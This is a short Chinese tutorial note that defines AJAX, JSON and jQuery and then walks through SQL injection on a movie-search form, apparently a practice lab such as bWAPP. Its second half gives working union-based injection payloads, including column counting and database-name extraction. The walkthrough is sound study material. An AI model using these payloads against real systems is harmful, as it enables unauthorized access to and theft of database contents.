1.AJAX/JSON/jQuery
(1)AJAX
通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行实时更新。
(2)JSON
JSON (JavaScript Object Notation) 是一种轻量级的数据交换格式。
是一种数据格式。
(3)jQuery
jQuery 是一个 JavaScript 库,使用jQuery不仅能够将原本需要很多JavaScript 码才能实现的功能缩减为几行代码,还提供了足够高速的性能,是每一个网站开发人员都应掌握的技能。
2.注入
先来抓个包:
在输入框里输入i
抓到的包:
第一行,title=i,改成 ' 看看:
sql报错了,猜测sql语句如下:
select * from 表名 where Title like '%".用户输入."%'
所以可以这么构造sql语句:
select * from 表名 where Title like '%"' or '"%
查询正确,所有电影都在
在此基础上进行注入:
0' union select 1,2,3,4,5,6,7 '
得到2,3,4,5,一共4个可显示位
爆库:
0' union select 1,database(),3,4,5,6,7 '
后边就和GET/Search差不多了。